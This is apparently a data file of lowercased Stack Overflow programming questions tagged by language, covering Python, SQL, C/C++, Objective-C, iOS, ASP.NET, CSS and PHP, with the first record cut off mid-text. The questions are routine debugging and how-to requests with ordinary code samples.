somefunc(this); &gt;&lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
how do you paste strings using for loop   i would like to iterate through a list of items pasting the same item into a larger string using python3    this is what i have thus far:   <pre><code>file_list = [ car    bike    bus ]  for file in file_list:      print( taking a %s is better than other options because %s s let you get around the city faster  %(file)) </code></pre>   i end up with a typeerror: not enough arguments for format string.    what i would like to end up with is three separate statements as strings.     <ol> <li>taking a <strong>car</strong> is better than other options because <strong>car</strong> s let you get around the city faster</li> <li>taking a <strong>bike</strong> is better than other options because <strong>bike</strong> s let you get around the city faster</li> <li>taking a <strong>bus</strong> is better than other options because <strong>bus</strong> s let you get around the city faster</li> </ol>,python
cgimagecreatewithmaskingcolors returns nil  help!    i ve searched extensively and i haven t found a solution to this  simple  problem.  what i am attempting to do is replace white pixels with alpha.  it looks like <code>cgimagecreatewithmaskingcolors</code> should give me what i want  unfortunately it returns nil in every case.  here s my code  what am i doing wrong    <pre><code>cgcolorspaceref colorspace = cgcolorspacecreatedevicergb();  cgcontextref context = cgbitmapcontextcreate(null  size.width  size.height  8  4 * size.width  colorspace  kcgimagealphapremultipliedfirst);  //draw a black background cgcontextsetrgbfillcolor(context 0 0  0  1);  cgcontextfillrect(context  cgrectmake(0  0  size.width  size.height));  char* text2 = (char *)[text cstringusingencoding:nsasciistringencoding];  cgcontextselectfont(context   helvetica bold   kfontsize  kcgencodingmacroman);  cgcontextsettextdrawingmode(context  kcgtextfill);  //draw text with the  alpha  color white) cgcontextsetrgbfillcolor(context  1  1  1  1);  float textlength = 20;  cgcontextshowtextatpoint(context  (size.width/2)-(textlength/2)  ((size.height/2)-(kfontsize/2))+5  text2  strlen(text2));  //create the black/white image  cgimageref alphamask = cgbitmapcontextcreateimage(context);  const float colormasking[6] = {0xee  0xff  0xee  0xff  0xee  0xff};  cgimageref imagemasked = cgimagecreatewithmaskingcolors(alphamask  colormasking); </code></pre>   <code>imagemasked</code> is <code>nil</code> no matter what i try.  i would appreciate any help you can provide  thanks!,objective-c
update 30k rows with same value  i want to use update query to inactive around 30k parts id. is there any way i can make a single query to achieve that.    here my table looks like   <pre><code>part id   status 1           active 2           active 3           active 4           inactive 5           active </code></pre>,sql
fire onclick after onblur  i m facing a problem when i validate my angular form.    here is the simplified snippet of the html code:   <pre><code>&lt;form id= form  name= form  novalidate&gt;     &lt;div&gt;&lt;input type= text  class= form-control  ng-blur= validatename(  en ) &gt;&lt;/div&gt;     &lt;button type= submit  class= btn btn-primary btn-lg  title= {{ add  | translate}}  ng-click= saveform(form  false) &gt;         {{  add  | translate }}     &lt;/button&gt; &lt;/form&gt; </code></pre>  <ul> <li>validatename has a call to my back service</li> </ul>   here is what i m trying to do:   <ol> <li>i type a wrong text in the input</li> <li>i focus out and the input gets red</li> <li>i put a correct text in the input</li> <li>i focus out and i press the button to call my back service correctly</li> </ol>   if i put a wrong text and press the button directly  the onblur gets executed but saveform function isn t called (i have to press the button again in order to execute the call).    how can i make my code to execute both: first onblur and then onclick  i ve seen other posts and they say to use mousedown instead of click but it s not working... thanks in advance.,angularjs
warning:  myclass may not respond to -duration . error: incompatible type for argument 1 of qtgettimeinterval  i just start learning objective c and i found this code and want to understand it and get it to work. so i went through different documentations and i guess it doesn t work because nstimeinterval is double and there is something wrong with types... but i don t understand 100% what is wrong and what i should do to get it work.   <pre><code>-(nstimeinterval) durationinseconds  {          nstimeinterval duration;   qtgettimeinterval([self duration]  &amp;duration);         //here is warnning:  myclass may not respond to  -duration   // here is error: incompatible type for argument 1 of qtgettimeinterval  return duration; } </code></pre>   yes. thanks.     here is more code:   <h1>import </h1>  <h1>import </h1>   @interface myaccessmp3tags: nsobject {     nstimeinterval duration;     nstimeinterval currenttime; }    -(nstimeinterval) durationinseconds; -(nstimeinterval) currenttimeinseconds; -(nsdictionary *) metadata; -(nsstring *) metadatadescription; -(nsstring *) loadstatedescription;    @property (nonatomic) nstimeinterval duration; @property (nonatomic) nstimeinterval currenttime; @end   <h1>import  myaccessmp3tags.h </h1>  <h1>import  nsstring_fourcharcode.h </h1>  <h1>import </h1>   @implementation myaccessmp3tags;    @synthesize duration; @synthesize currenttime; -(nstimeinterval) durationinseconds  {   <pre><code>nstimeinterval dur;  qtgettimeinterval([self duration]  &amp;dur);  return duration; </code></pre>   }    -(nstimeinterval) currenttimeinseconds  {     nstimeinterval currtime;     qtgettimeinterval([self currenttime]  &amp;currtime);   <pre><code>return currenttime; </code></pre>   }     so i add @property &amp; @sythesize.  there is no warnings anymore but  i still have errors: incompatible type for argument 1 of qtgettimeinterval,objective-c
what s the difference between using void func(struct mystruct s) and void func(mystruct s)  if both work the same way   i always see people using it this way:   <pre><code>struct mystruct{  ... };  void func(struct mystruct s){  ... } </code></pre>   but i use it this way  omitting the  struct    <pre><code>void func(mystruct s){  ... } </code></pre>   and it still works  so is there a difference,c++
what is a good way to animate uiviews inside uitableviewcell after a callback   we couldn t find a way to animate uiviews inside a uitablecell as an action from a callback.     suppose in a scenario where you click on a button on the uitableviewcell and it fires off an asynchronous action to download a picture. suppose further that when the picture is downloaded we want a uiview in the cell to animate the picture to give user a visual feedback that something new is about to be presented.    we couldn t find a way to track down the uiview to invoke beginanimation on because the original cell that the user clicked on might now be used for another row due to the nature of cells being reused when you scroll up and down in the table. in other words we can t keep a pointer to that uitableviewcell. we need to find another way to target the cell and animate it if that row is visible and don t animate if the row is scrolled out of range.,iphone
`load_missing_constant  after installing typus rails plugin  getting an odd error.  just installed the typus rails admin plugin  which is supposed to work in 2.3.2.  however  after install it seems to mess with my user model.  not sure where to start here  any ideas     <pre><code> =&gt; booting mongrel     =&gt; rails 2.3.2 application starting on http://0.0.0.0:3000     /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:440:in `load_missing_constant : uninitialized constant typus::authentication::bypassword (nameerror)         from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:80:in `const_missing          from /users/apple/sites/app/app/models/user.rb:10         from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:380:in `load_without_new_constant_marking          from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:380:in `load_file          from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:521:in `new_constants_in          from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:379:in `load_file          from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:259:in `require_or_load          from /users/apple/.gem/ruby/1.8/gems/activesupport-2.3.2/lib/active_support/dependencies.rb:425:in `load_missing_constant           ... 35 levels...         from /users/apple/.gem/ruby/1.8/gems/rails-2.3.2/lib/commands/server.rb:84         from /library/ruby/site/1.8/rubygems </code></pre>   /custom_require.rb:31:in <code>gem_original_require          from /library/ruby/site/1.8/rubygems/custom_require.rb:31:in</code>require          from script/server:3,ruby-on-rails
remove duplicate character from string  i have a string and i want to remove the duplicate characters but i keep getting index out of bound exception. how can i solve it.  in code i am trying to find a duplicate character and then remove it by moving index to the right.   <pre><code> class program     {         static void main(string[] args)         {              int i j k;              string str =  1a23sdf45123abc ;               console.writeline( input string is:   + str);             console.writeline();             var arr1 = str.tochararray();             var n = arr1.length;              for(i=0;i&lt;n;i++)             {                 for (j=i+1;j&lt;n;j++)                 {                     while (arr1[i] == arr1[j])                     {                         for(k=j;k&lt;n-1;k++)                         {                             arr1[j] = arr1[j + 1];                             j++;                         }                         n--;                     }                  }                }             console.write( \nthe new array without duplicates is :    arr1[i]);         }     } </code></pre>,c#
error: reference to non-static member function must be called  i m working on a program that collects family last names and then asks for names of first name of family members. i m using an <code>istringstream</code> object to separate the names collected from a <code>getline</code>. for the step where i try to fill the elements in the <code>map</code>  i get the following error. i know that you can create keys by supplying them in brackets following the name of the <code>map</code>. if that method is valid  why do i get the following error.   <pre><code>ex11_14.cpp:19:6: error: reference to non-static member function must be called         family[lname].push_back[fname]; </code></pre>   code:   <pre><code>#include &lt;iostream&gt; #include &lt;map&gt; #include &lt;vector&gt; #include &lt;sstream&gt; int main() {     std::string lname  fname;     std::string last  children;     std::map&lt;std::string  std::vector&lt;std::string&gt;&gt; family;     std::cout &lt;&lt;  enter family names  &lt;&lt; std::endl;     getline(std::cin  last);     std::istringstream i{last};     std::cout &lt;&lt;  enter children s names  &lt;&lt; std::endl;     while(i &gt;&gt; lname) {         std::cout &lt;&lt; lname &lt;&lt; std::endl;         getline(std::cin  children);         std::istringstream j{children};         while(j &gt;&gt; fname)             family[lname].push_back[fname];     }     for(auto &amp;c:family) {         std::cout &lt;&lt; c.first &lt;&lt; std::endl;         for(auto &amp;w:c.second)             std::cout &lt;&lt; w &lt;&lt;    ;         std::cout &lt;&lt; std::endl;     }     std::cout &lt;&lt; std::endl;     return 0; } </code></pre>,c++
android user-behaviour-analytics : programatically record the user interaction from the application  i want to know how the users are interacting with my application  how they are navigating in the app. there are analytics-library like <a href= https://www.fullstory.com/features/  rel= nofollow noreferrer >fullstory</a>(only for web) and <a href= https://www.appsee.com/  rel= nofollow noreferrer >appsee</a>. i wanted to know: 1. what are the other analytics tools for android that records user session <br> 2. if i want to achieve this without any libraries how can i record user interactions programmatically and log the session to server and what are possible architecture design to achieve this on android.,android
storing and fetching images with text data from database(sqlite-3)crash the application..!  i am new to iphone so please help me to solved my problem... actually   storing and fetching  images  with text data from database(sqlite-3)crash the application..!! i am using these data in search table.. after fetching all the data application crash after 2-3 min. ->let me know the whats the best way to store or fetch the image data   ->or i should store the image after reducing the size   if it then how to reduce the size n    store the data currently i am using blob.    waiting for quick reply thanks...,iphone
compare current item to next item in a python list  considering a python list  how can i compare current item to next it   for example:   <pre><code>mylist = [1  2  2  4  2  3] for i in mylist:             if i == next item:        replace (both i and next item) with  same value    &gt;&gt;&gt; [1   same value    same value   4  2  3]   </code></pre>,python
echoing matched data from 2 arrays with php  i am trying to compare the contents of 2 arrays   <pre><code>   &lt; php       $badwords = array( badword1   badword2   badword3 );       $domains = array( domainword1.com    word2domain.com    domain.com );       if (preg_match($badwords $domains) { // searched and did not find if it works like this         - echo the $domains that matches the $badwords // this is what i don t know how to do       } </code></pre>   it should echo in this case:    matched domains are:    <code>domainword1.com</code>    <code>word2domain.com</code>    in new rows.    how am i suppose to do this,php
listbox instantly deselects when i click it in asp.net  it s inside an updatepanel  as it gets updated in response to another drop down box.    i suspect when i click it  it is posting back or something  which is causing it to de-select. do you know how i can stop it from doing this  as the selecteditemchanged event is a trigger for another update panel  and when it triggers it errors because selectedindex is -1 (because it deselects instantly when i click it)    edit: turning off autopostback fixes it  but then it no longer works as a trigger...,asp.net
recording programming time - write it or download it   i was about to write a program that just tracks the time i spend coding.  then i thought there must already be some sort of feature in my ide(vs 2008) or something to download for free.  basically  i just need to record the start time  end time and a subject line.  i need either a free option or an option using visual studio 2008  which i already have.  i am a one person coding team.  i am not very familiar with version control.  if this is already a feature of every version control system in the world  please don t beat me over the head.  just let me know.    any help is appreciated.    thanks     jeremy,.net
what do curly brackets enclosing value literals evalue to in function call   i recently received <a href= https://stackoverflow.com/a/34003267/607407 >an answer</a> that uses the following syntax:   <pre><code>map.left.insert({165   node_a }); </code></pre>   <a href= http://coliru.stacked-crooked.com/a/5ded9b63a5684680  rel= nofollow noreferrer >it works.</a> but i have totally no idea what does this syntax mean.    it could be some kind of anonymous <code>struct</code> initialization  or maybe a way to avoid including some <code>struct</code> s header file. but these are just ideas  i found nothing about it on google.,c++
passing comma delimited parameter to stored procedure in mysql  i have fields in mytable tab1:   <pre><code>col1     | col2     | id -------------------------- 1 2 3    | 2 3 4 5  | a1 6 7 8 9  | 2 9 11   | a2 </code></pre>   i want to pass this fields to my stored procedure  input like <code>where col1 in ( 1 2 ) and col2 in ( 3 4 );</code>    but it is not working ..,mysql
coonvert an array to a string in php  i have a multidimensional array:   <pre><code>array ( [0] =&gt; array ( [id] =&gt; 21 ) ) </code></pre>   i need it to be convert it to a string to echo it out and to use it as a variable. how can i do that  i need only the <code>id</code>.    i was trying to use <code>implode(    $this_array);</code>   adding <code>(string)</code> before this array  but does not help...,php
asp.net head login view text  for some reason the text (log in) inside the headloginview in asp.net is being displayed as grey not white and only visible when i hover on it  i want it white and always visible.    what am i doing wrong  also how/where do i code the signout when a user is logged in     <a href= http://i.stack.imgur.com/pxsoi.png  rel= nofollow >small screenshot</a>    code:   <pre><code>&lt;!-- cart --&gt;     &lt;div id= cart &gt;         &lt;asp:loginview id= headloginview  runat= server  enableviewstate= false &gt;                 &lt;anonymoustemplate&gt;                     [ &lt;a href= ~/login.aspx  id= headloginstatus  runat= server &gt;log in&lt;/a&gt; ]                 &lt;/anonymoustemplate&gt;                 &lt;loggedintemplate&gt;                     welcome &lt;span class= bold &gt;&lt;asp:loginname id= headloginname  runat= server  /&gt;&lt;/span&gt;!                     [ &lt;asp:loginstatus id= headloginstatus  runat= server  logoutaction= redirect  logouttext= log out  logoutpageurl= ~/ /&gt; ]                 &lt;/loggedintemplate&gt;             &lt;/asp:loginview&gt;         &lt;div class= cl &gt;&amp;nbsp;&lt;/div&gt;         &lt;a href= shoppingcart.aspx  class= cart-link &gt;your shopping cart&lt;/a&gt;             &lt;/div&gt;     &lt;!-- end cart --&gt;! </code></pre>,asp.net
jquery which event handle when add/remove to token input   i am using tokeninput for autocomplete text box.    now i want to show hide div base on token input.    so in which event i could get token input values on add / remove time,jquery
printing character at even and odd position of a multiple strings  i am trying to print characters of a given string at even and odd positions of using <strong>c</strong> program. my program is working fine if there is only one string but it not working for a sentence containing more than one string.the following code only prints the second string entered  but it does not printing the characters at even and odd positions as it was doing for the very first string.    <pre><code>int main()  { char string[10]  even[10]  odd[10]  i  j  k count;  i = j = k = count = 0;      do     {     printf( enter your input string: );     fgets(string  10  stdin);     string[strlen(string) - 1] =  \0 ;      /* printing the input string */     printf( given input string:%s\n   string);          while (string[i] !=  \0 )         {             if (i % 2 == 0) {             odd[j++] = string[i];             }             else {             even[k++] = string[i];             }         i++;         }     /*  terminating even and odd string with null */     odd[j] = even[k] =  \0 ;      /* print the characters at odd position and even positions */     printf(  %s %s   odd even);      odd[0]=even[0]= \0 ;     count++;     }while(count&lt;2); return 0; } </code></pre>   at execution when i entered the first string as  united   it printed out  uie  for the odd position and  ntd  for the even position. then i am prompted to enter the second string which i entered as  states  but nothing printed out except the string entered and the program exits. it did not output as it did for the first string.  please help me to point out my mistake so that my code should work correctly for any number of strings rather than only for first string i.e it should output the characters at even and odd positions for all of the strings entered by the user.,c
how do i resize a user uploaded image that overflows the container   i have a container that a user can enter their own text and images in. when i view it on mobile  the text resizes  but if there is an image  it overflows the container. i know i can use the overflow properties to scroll through or crop the image  but is there a way to resize the image for mobile screens instead     the code i have is below:   <pre><code>    &lt;div class= container &gt;            {{ editable_field( page-body-text    page body text    text    froala    insert text or image ) }}     &lt;/div&gt; </code></pre>   thanks!,html
is that really caused segmentation fault （expert c programming 7.7）  hi  there is a example in the section 7.7 of expert c programming which would caused segmentation fault 。   <pre><code>  int *p =0；   *p =17; /*caused segmentation fault */ </code></pre>   but i have test it as  below:   <pre><code>#include &lt;stdio.h&gt; int main() {         int *p =0;         *p = 17;         return 0; } </code></pre>   when i doing gcc -c test.c it is ok and there is nothing error about segmentation fault   why,c
how to load a referenced dll from specified location not gac   i have a dll named a.dll with strong name  another assembly b references a.dll. i place a.dll in c:\myapp  also a.dll is installed in gac. i hope assembly b loads the a.dll from c:\myapp not gac. but it always load the a.dll from gac. my question is how to load a referenced dll from specified local location not gac. thanks.,.net
query to get all primary keys in a database  is this the best way to - get a list of all primary keys in a database - or is there something better    <pre><code>select kcu.table_name as table_name  kcu.constraint_name as constraint_name  kcu.column_name as column_name from information_schema.table_constraints tc join information_schema.key_column_usage kcu on kcu.constraint_schema = tc.constraint_schema and kcu.constraint_name = tc.constraint_name and kcu.table_schema = tc.table_schema and kcu.table_name = tc.table_name where tc.constraint_type =  primary key  order by kcu.table_schema  kcu.table_name  kcu.constraint_name </code></pre>,sql
partial string matching in sql  i need to match two columns from two different tables based on the number of string they have in common. so for instance in column one i have:   <pre><code>================table 1============================== id     desc             year      month 123    food_drink       2016      8 345    shoe_bag         2016      8 678    001_toilet_paper 2015      7 910    bags_of_thing    2015      6  ======================table 2====================== id      name           year        month ad      drink_server   2016        8  ac      shoe_shiny     2016        8 aa      white_paper    2015        7 cc      blue_bags      2015        6 </code></pre>   is there a way to combine the two tables by joining on year  month and similar string in the description and name. so comparing the desc and name column to see if they have >= 5 strings in common  then:   <pre><code>=================================================== id1  id2  name          desc              year  month 123  ad   drink server  food_drink        2016   8 678  aa   white_paper   001_toilet_paper  2016   7 </code></pre>   in essence  i need a way to compare the number of common strings between two columns of different tables. thanks.,sql
how to include all results from a select if one specific result is present  i am using 3 tables.   <ul> <li>table1 - stores information about orders.</li> <li>table2 - stores information about the products in those orders</li> <li>table3 - stores detailed information about  the products</li> </ul>   below is the query that i use.   <pre><code>    select table1.ordernumber as ordernummer          table2.productnumber as artikelnummer          table3.productdescription as artikelomschrijving          table2.amount as aantal          table2.sellingprice as prijsperartikel from table1             inner join table2 on table2.orderkey = table1.orderkey             inner join table3 on table3.productnumber = table2.productnumber     where table3.productdescription &gt; any (select productdescription from table3 where productdescription like  %stock% ) and table1.ordernumber in (  *alotofordernumbers* ) </code></pre>   with this part i am trying to select every product in an order if that product has the word <code> stock </code> somewhere in the description.   <pre><code>table3.productdescription &gt; any (select productdescription from table3 where productdescription like  %stock% )  </code></pre>   however this does not return the results that i want. it also returns orders  from  the orders that i put in  that do not have any products with the word stock in their descriptions. as i am quite new to sql i feel like i am missing something basic here but i cannot figure it out.,sql
is is possible to convert a char with %s conversion specifier <pre><code>char c; scanf( %s  &amp;c); </code></pre>   is this correct or wrong   what happening exactly when typing <code>eof</code> character in stdin      i know there is something like in so but i cannot find it     <hr>   i already know the <strong>exact right form</strong> which should be:   <pre><code>scanf( %hhd  &amp;c); </code></pre>,c
c: how to filter values being read into a pipe  i am currently working with pipes forks and file descriptors and i am currently trying to . i created a pipe and filled it with integers from 2 to n using the following loop   <pre><code>int f_descr[2];  int f=fork(); //fork  if (f&gt;0){     close(f_descr[0]);     for(int i=2; i&lt;n; i++)             write(f_descr[1]  &amp;i  sizeof(int));     }     close(f_descr[1]); } </code></pre>   the issue i m having now is that i want the child to only  read values from the pipe that are not a factor of a certain int val. how can i go about this,c
custom sms text through web app  i need to populate the sms body depending on the button clicked in the ios web app.  any way i can do this   something like :    a href= sms:1234  body =  hello world ! >send sms /a,ios
how can i push viewcontroller from login button to another viewcontroller   <a href= https://i.stack.imgur.com/xvur5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xvur5.png  alt= enter image description here ></a>    this is my storyboard  i m trying to push a button(entrar) to mainscreen viewcontroller but when i click on the button it shows next and previous screen both.    this is pic when i run and click on entrar button <a href= https://i.stack.imgur.com/fdixi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fdixi.png  alt= enter image description here ></a>,objective-c
suggestions for a lightweight input text box  i am building a simple cms and need a good solution for an input text box (the one stackoverflow uses looks great...). the input text boxes from vendors like telerik etc are just too heavy and feature laden  i d like a clean simple solution (hopefully that i could just drop into an asp.net site).,asp.net
fast enumeration over array of integers  i have an array of integers stored in a plist.  i would to load them and do fast enumeration over the array.  is there a way to do this or does fast enumeration work only for objects,objective-c
how do i convert a list of int to a list of nullable<int>   i have something that takes <code>list&lt;int &gt;</code> and i have a <code>list&lt;int&gt;</code>.    i can write:   <pre><code>var items = value.select(num =&gt; (int ) num).tolist(); </code></pre>   but is that really the simplest method,c#
removing and adding same object to different classes  i m reading a book to learn objective-c. i m stuck in one of the exercises. you have to make a program that has a class song  playlist  and music collection. if you create a song  it has to automatically add to the music collection  who has a nsmutablearray for collecting songs. and if you remove an object from music collection  the song has to remove from every playlist containing that song.    song interface   <pre><code>#import &lt;foundation/foundation.h&gt;      @interface song : nsobject{      nsstring *title;     nsstring *artist;     nsstring *album;     }      @property (copy) nsstring  *title;     @property (copy) nsstring  *artist;     @property (copy) nsstring  *album;      -(song *) initwithnames:(nsstring*) title1 and: (nsstring*) artist1 and: (nsstring*) album1;      @end </code></pre>   playlist interface   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface playlist : nsobject{     nsstring * title;     nsmutablearray *collecsongs; }  @property (strong) nsstring *title;  @property (strong) nsmutablearray *collecsongs;  -(playlist *) initwithname: (nsstring *) name;  @end </code></pre>   music collection interface   <pre><code>#import &lt;foundation/foundation.h&gt; #import  playlist.h   @interface musiccollection : nsobject{     nsmutablearray *collecplist;     playlist *library; }  @property (strong) nsmutablearray *collecplist; @property (strong) playlist *library;   @end </code></pre>   so if i create a song for example song1  is there a way if i add it to a playlist  automatically add it to the mastercoleection variable  library   instead of doing this   <pre><code>song *song1 = [[song alloc] initwithnames:@ somebody that i used to know  and: @ gotye  and: @ first album ];  playlist *misrolas = [[playlist alloc] initwithname: @ misrolas ];  musiccollection *music = [[musiccollection alloc] init];          [misrolas.collecsongs addobject: song1];//adds song1 to the playlist named  misrolas  [music.library.collecsongs addobject: song1];//adds song1 to the music collection </code></pre>   so i don t know what to do  i was thinking overriding maybe addobject:  but that doesn t seem right and easy  thanks for the help =)    i do it like this  is there more efficient or better ways to add it       <pre><code>-(void) addsong: (song *)song addtocollection: (playlist *) library{      nsassert([song iskindofclass: [song class]]  @ not the same class );          [self.collecsongs addobject:song];         [library.collecsongs addobject: song];  } </code></pre>,objective-c
how do you call a property setter by name   i ve asked a related question  but thought i d split this out into its own question.  see the code below for calling a property <strong>getter</strong>.     <pre><code>sel propselector = nsselectorfromstring(propertyname); nsinvocation *inv = [nsinvocation invocationwithmethodsignature:[[target class]instancemethodsignatureforselector:propselector]]; [inv setselector:propselector]; [inv settarget:target]; [inv invoke]; float value; [inv getreturnvalue:&amp;value]; </code></pre>   i d like to do the same thing  but call the property <strong>setter</strong>.  i d also like to avoid manually crafting the setter name by building a <code>@ setpropertyname: </code> string.   bottom line - is it possible to use the selector created on this line to call the <strong>setter</strong>    <pre><code>sel propselector = nsselectorfromstring(propertyname); </code></pre>,objective-c
keep network activity indicator spinning  i found that sometimes you may be doing something in your iphone application that requires the user to wait while it completes. often this is a network related activity  but in other cases it may not be. in my case i was parsing the response from a network connection and wanted the network activity indicator to keep spinning even though it had already downloaded the content.    below is what i m doing:    applicationdelegate.m :   <pre><code>- (void)setnetworkactivityindicatorvisible:(bool)setvisible {     static nsinteger numberofcallstosetvisible = 0;     if (setvisible)          numberofcallstosetvisible++;     else          numberofcallstosetvisible--;      // display the indicator as long as our static counter is &gt; 0.     [[uiapplication sharedapplication] setnetworkactivityindicatorvisible:(numberofcallstosetvisible &gt; 0)]; } </code></pre>   otherview.m:   <pre><code>dispatch_queue_t dataloadingqueue = dispatch_queue_create( synchronise   null);     dispatch_async(dataloadingqueue                     ^{                        [appdelegate setnetworkactivityindicatorvisible:yes];                        [[dataloader instance]loaddataforgrewal];                        [[fieldconsultantviewmodelmanager instance] resetcache];                          [[dailyfieldconsultantviewmodelmanager instance] clearcache];                        [appdelegate loadmainviews];                        [[dataloader instance]loaddataforotherentities];                         [appdelegate setnetworkactivityindicatorvisible:no];                    });      dispatch_release(dataloadingqueue); </code></pre>   as u can see above  i m trying to keep the network indicator while updating the data into the database but it does not work   any clue / suggestions      thanks <strong>edit :</strong>   <pre><code>dispatch_queue_t dataloadingqueue = dispatch_queue_create( synchronise   null);     dispatch_async(dataloadingqueue                     ^{                        dispatch_async(dispatch_get_main_queue()  ^{ [self setnetworkactivityindicatorvisible:yes]; });                        [[dataloader instance]loaddataforgrewal];                        [[fieldconsultantviewmodelmanager instance] resetcache];                          [[dailyfieldconsultantviewmodelmanager instance] clearcache];                        [appdelegate loadmainviews];                        [[dataloader instance]loaddataforotherentities];                         dispatch_async(dispatch_get_main_queue()  ^{ [self setnetworkactivityindicatorvisible:no]; });                    });      dispatch_release(dataloadingqueue); </code></pre>   it does not work i m not sure why because i m newbie in ios,ios
c++ - base class variables are returned 0 when setting values via parameterzied constructor  i have been trying to figure out the error past an hour  so asking . even though i have my parameterized constructor accepting default length breadth  it shows them correctly in same class but returns both of them 0 in derived class <strong><em>box</em></strong>  when i am trying to use it there.    <pre><code>#include&lt;iostream&gt; class rectangle {      protected :     //int length=12 breadth=13; // line a     int length breadth;         // line b  public:        rectangle(){}  // empty default constructor     rectangle (int len   int br)     {     length =len  breadth =br;      }  void area_rect()     {     std::cout &lt;&lt;  \n area is   &lt;&lt; (length*breadth);     std::cout &lt;&lt;  \n length breadth :   &lt;&lt; length &lt;&lt;     &lt;&lt;breadth&lt;&lt;  \n ;     }     };  class box : public rectangle {        int depth;     public:     box() {}   // again empty constructor of derived class     box(int d)     {     depth = d;     }      void area_box()     {     std::cout &lt;&lt;  volume is :  &lt;&lt;(length*breadth*depth)&lt;&lt;  \n ;     }  };   int main()  { rectangle r(10 20); r.area_rect(); box b(30); b.area_box();  return 0; } </code></pre>   -- uncommenting line b  and commenting a gives   <pre><code> area is 200  length breadth : 10  20 volume is : 0 </code></pre>   -- uncommenting line a  and commenting b gives   <pre><code> area is 200  length breadth : 10  20 volume is : 4680 </code></pre>,c++
sql: adding new column to show count of id by date  i am hoping someone can help me with my query.    i have a table  with the columns   date    id_num and  name .  what i want to do is add a column at the end to show the total amount of times each id_num is within the data but based on the date.  so although  id_num  1001 shows 4 times in total  it is twice on the 20/04/2018 and once on both the 21/04/2018 and 22/04/2018.     edit:  i should have stipulated that i will be pulling several other columns with information  which i cant use a group by on everything.   <pre><code>date       id_num   name         count 20/04/2018  1001    john           2 20/04/2018  1001    john           2 20/04/2018  1002    paul           2 20/04/2018  1002    paul           2 20/04/2018  1003    david          2 20/04/2018  1003    david          2 20/04/2018  1004    stephen        1 21/04/2018  1001    john           1 21/04/2018  1002    paul           3 21/04/2018  1002    paul           3 21/04/2018  1002    paul           3 21/04/2018  1004    stephen        1 22/04/2018  1001    john           1 22/04/2018  1002    paul           1 22/04/2018  1003    david          1 22/04/2018  1004    stephen        1 </code></pre>   thanks,sql
width: 100% issue  this kind of stuff has always eluded me.  i have a div that is as wide as the window (width: 100%)  that has a vertical javascript customized scrollbar within an iframe  also as wide and the scrollbar is 10px wide.  i just want the div to be 10px less than 100% so the scrollbar will show.  how does this happen   please let me know.  thanks!,css
how to calculate cos   sin   tan in iphone sdk   how do you calculate trig functions like cos  sin  tan in the iphone sdk     i tried tan(45) but it returns wrong output  any help,iphone
html background with overlapping text that is part of document flow  i m trying to create a simple html document that has two main divs - the first one has a background image w/a background size of cover so that the image takes up the entire top portion of the screen  the second div is directly beneath the first div and contains an img tag.     this seems simple enough  but when i apply a background:url style to my first div  scrolling down causes my second div image to overlap the background image of the first div. i expected this so i set a height property in my first div and this has no effect.    how do i make the first image cover the first div but not have the second one overlap it    <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head lang= en &gt;     &lt;meta charset= utf-8 &gt;      &lt;title&gt;&lt;/title&gt;      &lt;link href= http://fonts.googleapis.com/css family=lato:100 300 400 700  rel= stylesheet  type= text/css &gt;      &lt;link href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css  rel= stylesheet &gt; &lt;/head&gt;  &lt;body style= font-family:  lato ; font-size:18px; &gt;      &lt;div class= container-fluid &gt;         &lt;div style= background:url( http://www.screensavergift.com/wp-content/uploads/2011/01/beautifullakeview1.jpg ) no-repeat center center fixed; background-size:cover; height:1100px  class= row &gt;              &lt;div class= row &gt;                 &lt;div style= margin-top:20px  class= text-right col-xs-offset-1 col-xs-10 &gt;                     login | sign up                 &lt;/div&gt;             &lt;/div&gt;              &lt;div class= row &gt;                 &lt;div style= background-color:rgba(62 83 78 0.2); margin-top:10px  class= text-center col-xs-offset-1 col-xs-10 &gt;                     &lt;span style= color:white; font-size:40px; &gt;                         join us in god s country!                     &lt;/span&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;          &lt;div class= row &gt;             &lt;div class= text-center &gt;                 &lt;img src= http://www.ynaija.com/wp-content/uploads/2014/05/bird.jpg  alt= cyrillic alphabet  /&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   see an example of what i m trying to do here:     <a href= http://jsfiddle.net/y0ol6k4d/  rel= nofollow >http://jsfiddle.net/y0ol6k4d/</a>,css
cannot convert lambda expression to type delegate because delegate is not a type  i m having a problem that i can t seem to figure out  although its kind of a standard question here on stackoverflow.   <pre><code>base.invoke(() =&gt; prgwork.value = 100); </code></pre>   what am i doing wrong  when i compile it i get the error message:   <blockquote>    cannot convert lambda expression to type delegate because delegate is not a type  </blockquote>,c#
what is a good alternative to cfrelease for core foundation objects   i have taken to the following code which will call cfrelease after a delay. i have included it in a method for context.   <pre><code>cgpathref newpathwithroundrect(cgrect rect  cgfloat cornerradius) {      // other work to create ref which is a cgpath      dispatch_after(dispatch_time(dispatch_time_now  0.5 * nsec_per_sec)  dispatch_get_current_queue()  ^{         cfrelease(ref);     }); } </code></pre>   in the latest version of xcode i get a warning about not releasing memory properly. the caller takes the value  uses it and then calls cfrelease. i now cfretain it and also cfrelease it so in order to get the reference count down to zero i am setting this dispatch to run and clean up the reference.    i am not comfortable with this approach. is there is a better pattern for returning cf objects that were created in the method and need to be returned  should i create the path outside the method and pass it in as a parameter so it is created and released by the caller     i have also changed my code to call cgpathrelease which is a little safer. any suggestions are appreciated.,objective-c
iphone certificates  hey  i m beginner to iphone and as well in development field... i want to make certificate to distribute my app on appstore... can any one help me,iphone
